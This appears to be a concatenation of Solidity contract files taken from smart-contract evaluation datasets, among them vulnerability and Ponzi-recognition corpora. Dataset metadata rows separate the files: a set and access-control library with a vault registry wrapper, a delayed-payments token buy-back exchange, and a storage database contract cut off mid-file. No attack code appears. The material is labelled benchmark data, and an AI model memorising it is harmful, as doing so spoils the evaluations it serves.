// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(set._values.length > index,
"EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
// File: IBadgerRegistryV2.sol
interface IBadgerRegistryV2 {
event NewVault(address author, string version, string metadata, address vault);
event RemoveVault(address author, string version, string metadata, address vault);
event PromoteVault(address author, string version, string metadata, address vault, VaultStatus status);
event DemoteVault(address author, string version, string metadata, address vault, VaultStatus status);
event PurgeVault(address author, string version, string metadata, address vault, VaultStatus status);
event Set(string key, address at);
event AddKey(string key);
event DeleteKey(string key);
event AddVersion(string version);
enum VaultStatus {
deprecated,
experimental,
guarded,
open
}
struct VaultInfo {
address vault;
string version;
VaultStatus status;
string metadata;
}
struct VaultMetadata {
address vault;
string metadata;
}
struct VaultData {
string version;
VaultStatus status;
VaultMetadata[] list;
}
function initialize(address newGovernance, address newStrategistGuild) external;
function setGovernance(address _newGov) external;
function setDeveloper(address newDev) external;
function setStrategistGuild(address newStrategistGuild) external;
function addVersions(string memory version) external;
function add(address vault,
string memory version,
string memory metadata) external;
function remove(address vault) external;
function promote(address vault,
string memory version,
string memory metadata,
VaultStatus status) external;
function demote(address vault, VaultStatus status) external;
function purge(address vault) external;
function updateMetadata(address vault, string memory metadata) external;
function set(string memory key, address at) external;
function deleteKey(string memory key) external;
function deleteKeys(string[] memory _keys) external;
function governance() external view returns (address);
function developer() external view returns (address);
function strategistGuild() external view returns (address);
function get(string memory key) external view returns (address);
function keysCount() external view returns (uint256);
function getVaults(string memory version, address author) external view returns (VaultInfo[] memory);
function getFilteredProductionVaults(string memory version, VaultStatus status)
external
view
returns (VaultInfo[] memory);
function getProductionVaults() external view returns (VaultData[] memory);
}
// File: AccessControl.sol
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role,
address indexed account,
address indexed sender);
event RoleRevoked(bytes32 indexed role,
address indexed account,
address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index)
public
view
returns (address)
{
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()),
"AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()),
"AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(),
"AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: RegistryAccessControl.sol
contract RegistryAccessControl is AccessControl {
// Registery Roles
bytes32 public constant DEVELOPER_ROLE = keccak256("DEVELOPER_ROLE");
// Addresses
IBadgerRegistryV2 public constant registry = IBadgerRegistryV2(0xdc602965F3e5f1e7BAf2446d5564b407d5113A06);
constructor(address initialAdmin) public {
_setupRole(DEFAULT_ADMIN_ROLE, initialAdmin);
}
// ===== Permissioned Functions: Developer =====
/// @dev Add a vault to the registry under this contract's address
/// @notice The vault will be indexed under this contract's address
function add(address vault,
string memory version,
string memory metadata) external {
require(hasRole(DEVELOPER_ROLE, msg.sender), "DEVELOPER_ROLE");
registry.add(vault, version, metadata);
}
/// @dev Remove the vault from this contract's address index
function remove(address vault) external {
require(hasRole(DEVELOPER_ROLE, msg.sender), "DEVELOPER_ROLE");
registry.remove(vault);
}
/// @dev Promote a vault to Production on the Registry
/// @notice Promote just means indexed by the Governance Address
/// @notice Should this contract be set as the "developer" on the registry it will be able
/// to promote up to experimental, otherwise this function will revert due to permissions.
function promote(address vault,
string memory version,
string memory metadata,
IBadgerRegistryV2.VaultStatus status) external {
require(hasRole(DEVELOPER_ROLE, msg.sender), "DEVELOPER_ROLE");
registry.promote(vault, version, metadata, status);
}
/// @dev Demotes a vault to a lower status
/// @notice This call will only work if this contract is set as the "developer" on the registry
function demote(address vault, IBadgerRegistryV2.VaultStatus status) external {
require(hasRole(DEVELOPER_ROLE, msg.sender), "DEVELOPER_ROLE");
registry.demote(vault, status);
}
}
| 326,662 | 149 |
233d22b44af2818136d32b3a37383019b46784b8b1b07aea1b8cf5b17c5f132a
| 24,388 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x024cb480c6bf81eea0067c2682a706e5da5c6024.sol
| 4,683 | 19,579 |
pragma solidity ^0.4.11;
contract Owned {
address public contractOwner;
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
function destroy() onlyContractOwner {
suicide(msg.sender);
}
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract Object is Owned {
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract MultiEventsHistoryAdapter {
function _self() constant internal returns (address) {
return msg.sender;
}
}
contract DelayedPaymentsEmitter is MultiEventsHistoryAdapter {
event Error(bytes32 message);
function emitError(bytes32 _message) {
Error(_message);
}
}
contract DelayedPayments is Object {
uint constant DELAYED_PAYMENTS_SCOPE = 52000;
uint constant DELAYED_PAYMENTS_INVALID_INVOCATION = DELAYED_PAYMENTS_SCOPE + 17;
/// @dev `Payment` is a public structure that describes the details of
/// each payment making it easy to track the movement of funds
/// transparently
struct Payment {
address spender; // Who is sending the funds
uint earliestPayTime; // The earliest a payment can be made (Unix Time)
bool canceled; // If True then the payment has been canceled
bool paid; // If True then the payment has been paid
address recipient; // Who is receiving the funds
uint amount; // The amount of wei sent in the payment
uint securityGuardDelay;// The seconds `securityGuard` can delay payment
}
Payment[] public authorizedPayments;
address public securityGuard;
uint public absoluteMinTimeLock;
uint public timeLock;
uint public maxSecurityGuardDelay;
// Should use interface of the emitter, but address of events history.
address public eventsHistory;
/// @dev The white list of approved addresses allowed to set up && receive
/// payments from this vault
mapping (address => bool) public allowedSpenders;
/// @dev The address assigned the role of `securityGuard` is the only
/// addresses that can call a function with this modifier
modifier onlySecurityGuard { if (msg.sender != securityGuard) throw; _; }
// @dev Events to make the payment movements easy to find on the blockchain
event PaymentAuthorized(uint indexed idPayment, address indexed recipient, uint amount);
event PaymentExecuted(uint indexed idPayment, address indexed recipient, uint amount);
event PaymentCanceled(uint indexed idPayment);
event EtherReceived(address indexed from, uint amount);
event SpenderAuthorization(address indexed spender, bool authorized);
/////////
// Constructor
/////////
/// @notice The Constructor creates the Vault on the blockchain
/// @param _absoluteMinTimeLock The minimum number of seconds `timelock` can
/// be set to, if set to 0 the `owner` can remove the `timeLock` completely
/// @param _timeLock Initial number of seconds that payments are delayed
/// after they are authorized (a security precaution)
/// @param _maxSecurityGuardDelay The maximum number of seconds in total
/// that `securityGuard` can delay a payment so that the owner can cancel
/// the payment if needed
function DelayedPayments(uint _absoluteMinTimeLock,
uint _timeLock,
uint _maxSecurityGuardDelay)
{
absoluteMinTimeLock = _absoluteMinTimeLock;
timeLock = _timeLock;
securityGuard = msg.sender;
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
function _error(uint _errorCode, bytes32 _message) internal returns(uint) {
DelayedPaymentsEmitter(eventsHistory).emitError(_message);
return _errorCode;
}
function setupEventsHistory(address _eventsHistory) returns(uint errorCode) {
errorCode = checkOnlyContractOwner();
if (errorCode != OK) {
return errorCode;
}
if (eventsHistory != 0x0 && eventsHistory != _eventsHistory) {
return DELAYED_PAYMENTS_INVALID_INVOCATION;
}
eventsHistory = _eventsHistory;
return OK;
}
/////////
// Helper functions
/////////
/// @notice States the total number of authorized payments in this contract
/// @return The number of payments ever authorized even if they were canceled
function numberOfAuthorizedPayments() constant returns (uint) {
return authorizedPayments.length;
}
//////
// Receive Ether
//////
/// @notice Called anytime ether is sent to the contract && creates an event
/// to more easily track the incoming transactions
function receiveEther() payable {
EtherReceived(msg.sender, msg.value);
}
/// @notice The fall back function is called whenever ether is sent to this
/// contract
function () payable {
receiveEther();
}
////////
// Spender Interface
////////
/// @notice only `allowedSpenders[]` Creates a new `Payment`
/// @param _recipient Destination of the payment
/// @param _amount Amount to be paid in wei
/// @param _paymentDelay Number of seconds the payment is to be delayed, if
/// this value is below `timeLock` then the `timeLock` determines the delay
/// @return The Payment ID number for the new authorized payment
function authorizePayment(address _recipient,
uint _amount,
uint _paymentDelay) returns(uint) {
// Fail if you arent on the `allowedSpenders` white list
if (!allowedSpenders[msg.sender]) throw;
uint idPayment = authorizedPayments.length; // Unique Payment ID
authorizedPayments.length++;
// The following lines fill out the payment struct
Payment p = authorizedPayments[idPayment];
p.spender = msg.sender;
// Overflow protection
if (_paymentDelay > 10**18) throw;
// Determines the earliest the recipient can receive payment (Unix time)
p.earliestPayTime = _paymentDelay >= timeLock ?
now + _paymentDelay :
now + timeLock;
p.recipient = _recipient;
p.amount = _amount;
PaymentAuthorized(idPayment, p.recipient, p.amount);
return idPayment;
}
/// @notice only `allowedSpenders[]` The recipient of a payment calls this
/// function to send themselves the ether after the `earliestPayTime` has
/// expired
/// @param _idPayment The payment ID to be executed
function collectAuthorizedPayment(uint _idPayment) {
// Check that the `_idPayment` has been added to the payments struct
if (_idPayment >= authorizedPayments.length) return;
Payment p = authorizedPayments[_idPayment];
// Checking for reasons not to execute the payment
if (msg.sender != p.recipient) return;
if (now < p.earliestPayTime) return;
if (p.canceled) return;
if (p.paid) return;
if (this.balance < p.amount) return;
p.paid = true; // Set the payment to being paid
if (!p.recipient.send(p.amount)) { // Make the payment
return;
}
PaymentExecuted(_idPayment, p.recipient, p.amount);
}
/////////
// SecurityGuard Interface
/////////
/// @notice `onlySecurityGuard` Delays a payment for a set number of seconds
/// @param _idPayment ID of the payment to be delayed
/// @param _delay The number of seconds to delay the payment
function delayPayment(uint _idPayment, uint _delay) onlySecurityGuard {
if (_idPayment >= authorizedPayments.length) throw;
// Overflow test
if (_delay > 10**18) throw;
Payment p = authorizedPayments[_idPayment];
if ((p.securityGuardDelay + _delay > maxSecurityGuardDelay) ||
(p.paid) ||
(p.canceled))
throw;
p.securityGuardDelay += _delay;
p.earliestPayTime += _delay;
}
////////
// Owner Interface
///////
/// @notice `onlyOwner` Cancel a payment all together
/// @param _idPayment ID of the payment to be canceled.
function cancelPayment(uint _idPayment) onlyContractOwner {
if (_idPayment >= authorizedPayments.length) throw;
Payment p = authorizedPayments[_idPayment];
if (p.canceled) throw;
if (p.paid) throw;
p.canceled = true;
PaymentCanceled(_idPayment);
}
/// @notice `onlyOwner` Adds a spender to the `allowedSpenders[]` white list
/// @param _spender The address of the contract being authorized/unauthorized
/// @param _authorize `true` if authorizing and `false` if unauthorizing
function authorizeSpender(address _spender, bool _authorize) onlyContractOwner {
allowedSpenders[_spender] = _authorize;
SpenderAuthorization(_spender, _authorize);
}
/// @notice `onlyOwner` Sets the address of `securityGuard`
/// @param _newSecurityGuard Address of the new security guard
function setSecurityGuard(address _newSecurityGuard) onlyContractOwner {
securityGuard = _newSecurityGuard;
}
/// @notice `onlyOwner` Changes `timeLock`; the new `timeLock` cannot be
/// lower than `absoluteMinTimeLock`
/// @param _newTimeLock Sets the new minimum default `timeLock` in seconds;
/// pending payments maintain their `earliestPayTime`
function setTimelock(uint _newTimeLock) onlyContractOwner {
if (_newTimeLock < absoluteMinTimeLock) throw;
timeLock = _newTimeLock;
}
/// @notice `onlyOwner` Changes the maximum number of seconds
/// `securityGuard` can delay a payment
/// @param _maxSecurityGuardDelay The new maximum delay in seconds that
/// `securityGuard` can delay the payment's execution in total
function setMaxSecurityGuardDelay(uint _maxSecurityGuardDelay) onlyContractOwner {
maxSecurityGuardDelay = _maxSecurityGuardDelay;
}
}
contract Asset {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
contract BuyBackEmitter {
function emitError(uint errorCode);
function emitPricesUpdated(uint buyPrice, uint sellPrice);
function emitActiveChanged(bool isActive);
}
contract BuyBack is Object {
uint constant ERROR_EXCHANGE_INVALID_PARAMETER = 6000;
uint constant ERROR_EXCHANGE_INVALID_INVOCATION = 6001;
uint constant ERROR_EXCHANGE_INVALID_FEE_PERCENT = 6002;
uint constant ERROR_EXCHANGE_INVALID_PRICE = 6003;
uint constant ERROR_EXCHANGE_MAINTENANCE_MODE = 6004;
uint constant ERROR_EXCHANGE_TOO_HIGH_PRICE = 6005;
uint constant ERROR_EXCHANGE_TOO_LOW_PRICE = 6006;
uint constant ERROR_EXCHANGE_INSUFFICIENT_BALANCE = 6007;
uint constant ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY = 6008;
uint constant ERROR_EXCHANGE_PAYMENT_FAILED = 6009;
uint constant ERROR_EXCHANGE_TRANSFER_FAILED = 6010;
uint constant ERROR_EXCHANGE_FEE_TRANSFER_FAILED = 6011;
uint constant ERROR_EXCHANGE_DELAYEDPAYMENTS_ACCESS = 6012;
// Assigned ERC20 token.
Asset public asset;
DelayedPayments public delayedPayments;
//Switch for turn on and off the exchange operations
bool public isActive;
// Price in wei at which exchange buys tokens.
uint public buyPrice = 1;
// Price in wei at which exchange sells tokens.
uint public sellPrice = 2570735391000000; // 80% from ETH/USD=311.1950
uint public minAmount;
uint public maxAmount;
// User sold tokens and received wei.
event Sell(address indexed who, uint token, uint eth);
// User bought tokens and payed wei.
event Buy(address indexed who, uint token, uint eth);
event WithdrawTokens(address indexed recipient, uint amount);
event WithdrawEth(address indexed recipient, uint amount);
event PricesUpdated(address indexed self, uint buyPrice, uint sellPrice);
event ActiveChanged(address indexed self, bool isActive);
event Error(uint errorCode);
event ReceivedEther(address indexed sender, uint256 indexed amount);
// Should use interface of the emitter, but address of events history.
BuyBackEmitter public eventsHistory;
function _error(uint error) internal returns (uint) {
getEventsHistory().emitError(error);
return error;
}
function _emitPricesUpdated(uint buyPrice, uint sellPrice) internal {
getEventsHistory().emitPricesUpdated(buyPrice, sellPrice);
}
function _emitActiveChanged(bool isActive) internal {
getEventsHistory().emitActiveChanged(isActive);
}
function setupEventsHistory(address _eventsHistory) onlyContractOwner returns (uint) {
if (address(eventsHistory) != 0x0) {
return _error(ERROR_EXCHANGE_INVALID_INVOCATION);
}
eventsHistory = BuyBackEmitter(_eventsHistory);
return OK;
}
function init(Asset _asset, DelayedPayments _delayedPayments) onlyContractOwner returns (uint errorCode) {
if (address(asset) != 0x0 || address(delayedPayments) != 0x0) {
return _error(ERROR_EXCHANGE_INVALID_INVOCATION);
}
asset = _asset;
delayedPayments = _delayedPayments;
isActive = true;
return OK;
}
function setActive(bool _active) onlyContractOwner returns (uint) {
if (isActive != _active) {
_emitActiveChanged(_active);
}
isActive = _active;
return OK;
}
function setPrices(uint _buyPrice, uint _sellPrice) onlyContractOwner returns (uint) {
if (_sellPrice < _buyPrice) {
return _error(ERROR_EXCHANGE_INVALID_PRICE);
}
buyPrice = _buyPrice;
sellPrice = _sellPrice;
_emitPricesUpdated(_buyPrice, _sellPrice);
return OK;
}
function _balanceOf(address _address) constant internal returns (uint) {
return asset.balanceOf(_address);
}
function sell(uint _amount, uint _price) returns (uint) {
if (!isActive) {
return _error(ERROR_EXCHANGE_MAINTENANCE_MODE);
}
if (_price > buyPrice) {
return _error(ERROR_EXCHANGE_TOO_HIGH_PRICE);
}
if (_balanceOf(msg.sender) < _amount) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_BALANCE);
}
uint total = _mul(_amount, _price);
if (this.balance < total) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY);
}
if (!asset.transferFrom(msg.sender, this, _amount)) {
return _error(ERROR_EXCHANGE_PAYMENT_FAILED);
}
if (!delayedPayments.send(total)) {
throw;
}
if (!delayedPayments.allowedSpenders(this)) {
throw;
}
delayedPayments.authorizePayment(msg.sender,total,1 hours);
Sell(msg.sender, _amount, total);
return OK;
}
function withdrawTokens(address _recipient, uint _amount) onlyContractOwner returns (uint) {
if (_balanceOf(this) < _amount) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_BALANCE);
}
if (!asset.transfer(_recipient, _amount)) {
return _error(ERROR_EXCHANGE_TRANSFER_FAILED);
}
WithdrawTokens(_recipient, _amount);
return OK;
}
function withdrawAllTokens(address _recipient) onlyContractOwner returns (uint) {
return withdrawTokens(_recipient, _balanceOf(this));
}
function withdrawEth(address _recipient, uint _amount) onlyContractOwner returns (uint) {
if (this.balance < _amount) {
return _error(ERROR_EXCHANGE_INSUFFICIENT_ETHER_SUPPLY);
}
if (!_recipient.send(_amount)) {
return _error(ERROR_EXCHANGE_TRANSFER_FAILED);
}
WithdrawEth(_recipient, _amount);
return OK;
}
function withdrawAllEth(address _recipient) onlyContractOwner() returns (uint) {
return withdrawEth(_recipient, this.balance);
}
function withdrawAll(address _recipient) onlyContractOwner returns (uint) {
uint withdrawAllTokensResult = withdrawAllTokens(_recipient);
if (withdrawAllTokensResult != OK) {
return withdrawAllTokensResult;
}
uint withdrawAllEthResult = withdrawAllEth(_recipient);
if (withdrawAllEthResult != OK) {
return withdrawAllEthResult;
}
return OK;
}
function emitError(uint errorCode) {
Error(errorCode);
}
function emitPricesUpdated(uint buyPrice, uint sellPrice) {
PricesUpdated(msg.sender, buyPrice, sellPrice);
}
function emitActiveChanged(bool isActive) {
ActiveChanged(msg.sender, isActive);
}
function getEventsHistory() constant returns (BuyBackEmitter) {
return address(eventsHistory) != 0x0 ? eventsHistory : BuyBackEmitter(this);
}
function _mul(uint _a, uint _b) internal constant returns (uint) {
uint result = _a * _b;
if (_a != 0 && result / _a != _b) {
throw;
}
return result;
}
function() payable {
if (msg.value != 0) {
ReceivedEther(msg.sender, msg.value);
} else {
throw;
}
}
}
| 217,294 | 150 |
864fd0235174b346af9b5cda01e0a8b585ceae5a823b69d808e98d4f87ad37da
| 13,113 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x9cb221402a45f3c2561d0634a56a3f3411e0805d.sol
| 3,164 | 13,032 |
pragma solidity ^0.4.24;
// File: contracts/database/Database.sol
// @title A shared storage contract for platform contracts to store and retrieve data
// @notice This contract holds all long-term data for smart-contract systems
// @dev The bytes32 hashes are derived from keccak256(variableName, uniqueID) => value
// @dec Can enable upgradeable contracts by setting a contract manager
contract Database{
// Storage Variables
mapping(bytes32 => uint) public uintStorage;
mapping(bytes32 => string) public stringStorage;
mapping(bytes32 => address) public addressStorage;
mapping(bytes32 => bytes) public bytesStorage;
mapping(bytes32 => bytes32) public bytes32Storage;
mapping(bytes32 => bool) public boolStorage;
mapping(bytes32 => int) public intStorage;
// @notice Constructor: Sets the owners of the platform
// @dev Owners must set the contract manager to add more contracts
constructor(address[] _owners, bool _upgradeable)
public {
for(uint i=0; i<_owners.length; i++){
require(_owners[i] != address(0), "Empty address");
boolStorage[keccak256(abi.encodePacked("owner", _owners[i]))] = true;
emit LogInitialized(_owners[i], _upgradeable);
}
if (_upgradeable){
boolStorage[keccak256("upgradeable")] = true;
}
}
// @notice ContractManager will be the only contract that can add/remove contracts on the platform.
// @param (address) _contractManager is the contract which can upgrade/remove contracts to platform
function enableContractManagement(address _contractManager)
external
returns (bool){
require(_contractManager != address(0), "Empty address");
require(boolStorage[keccak256(abi.encodePacked("owner", msg.sender))], "Not owner");
require(addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] == address(0), "There is already a contract manager");
addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] = _contractManager;
boolStorage[keccak256(abi.encodePacked("contract", _contractManager))] = true;
return true;
}
// @notice Storage functions
function setAddress(bytes32 _key, address _value)
onlyApprovedContract
external {
addressStorage[_key] = _value;
}
function setUint(bytes32 _key, uint _value)
onlyApprovedContract
external {
uintStorage[_key] = _value;
}
function setString(bytes32 _key, string _value)
onlyApprovedContract
external {
stringStorage[_key] = _value;
}
function setBytes(bytes32 _key, bytes _value)
onlyApprovedContract
external {
bytesStorage[_key] = _value;
}
function setBytes32(bytes32 _key, bytes32 _value)
onlyApprovedContract
external {
bytes32Storage[_key] = _value;
}
function setBool(bytes32 _key, bool _value)
onlyApprovedContract
external {
boolStorage[_key] = _value;
}
function setInt(bytes32 _key, int _value)
onlyApprovedContract
external {
intStorage[_key] = _value;
}
// Deletion functions: Can alternatively use setter functions and set to null value (ie. uint = 0)
function deleteAddress(bytes32 _key)
onlyApprovedContract
external {
delete addressStorage[_key];
}
function deleteUint(bytes32 _key)
onlyApprovedContract
external {
delete uintStorage[_key];
}
function deleteString(bytes32 _key)
onlyApprovedContract
external {
delete stringStorage[_key];
}
function deleteBytes(bytes32 _key)
onlyApprovedContract
external {
delete bytesStorage[_key];
}
function deleteBytes32(bytes32 _key)
onlyApprovedContract
external {
delete bytes32Storage[_key];
}
function deleteBool(bytes32 _key)
onlyApprovedContract
external {
delete boolStorage[_key];
}
function deleteInt(bytes32 _key)
onlyApprovedContract
external {
delete intStorage[_key];
}
// --------------------------------------------------------------------------------------
// Modifiers
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
modifier onlyApprovedContract() {
require(boolStorage[keccak256(abi.encodePacked("contract", msg.sender))]);
_;
}
// --------------------------------------------------------------------------------------
// Events
// --------------------------------------------------------------------------------------
event LogInitialized(address _owner, bool _upgradeable);
}
// File: contracts/interfaces/DBInterface.sol
// Database interface
interface DBInterface {
function setContractManager(address _contractManager)
external;
// --------------------Set Functions------------------------
function setAddress(bytes32 _key, address _value)
external;
function setUint(bytes32 _key, uint _value)
external;
function setString(bytes32 _key, string _value)
external;
function setBytes(bytes32 _key, bytes _value)
external;
function setBytes32(bytes32 _key, bytes32 _value)
external;
function setBool(bytes32 _key, bool _value)
external;
function setInt(bytes32 _key, int _value)
external;
// -------------- Deletion Functions ------------------
function deleteAddress(bytes32 _key)
external;
function deleteUint(bytes32 _key)
external;
function deleteString(bytes32 _key)
external;
function deleteBytes(bytes32 _key)
external;
function deleteBytes32(bytes32 _key)
external;
function deleteBool(bytes32 _key)
external;
function deleteInt(bytes32 _key)
external;
// ----------------Variable Getters---------------------
function uintStorage(bytes32 _key)
external
view
returns (uint);
function stringStorage(bytes32 _key)
external
view
returns (string);
function addressStorage(bytes32 _key)
external
view
returns (address);
function bytesStorage(bytes32 _key)
external
view
returns (bytes);
function bytes32Storage(bytes32 _key)
external
view
returns (bytes32);
function boolStorage(bytes32 _key)
external
view
returns (bool);
function intStorage(bytes32 _key)
external
view
returns (bool);
}
// File: contracts/database/Events.sol
contract Events {
DBInterface public database;
constructor(address _database) public{
database = DBInterface(_database);
}
function message(string _message)
external
onlyApprovedContract {
emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin);
}
function transaction(string _message, address _from, address _to, uint _amount, address _token)
external
onlyApprovedContract {
emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin);
}
function registration(string _message, address _account)
external
onlyApprovedContract {
emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin);
}
function contractChange(string _message, address _account, string _name)
external
onlyApprovedContract {
emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin);
}
function asset(string _message, string _uri, address _assetAddress, address _manager)
external
onlyApprovedContract {
emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin);
}
function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount)
external
onlyApprovedContract {
emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin);
}
function order(string _message, bytes32 _orderID, uint _amount, uint _price)
external
onlyApprovedContract {
emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin);
}
function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account)
external
onlyApprovedContract {
emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin);
}
function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account)
external
onlyApprovedContract {
emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin);
}
function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum)
external
onlyApprovedContract {
emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin);
}
//Generalized events
event LogEvent(string message, bytes32 indexed messageID, address indexed origin);
event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events
event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin);
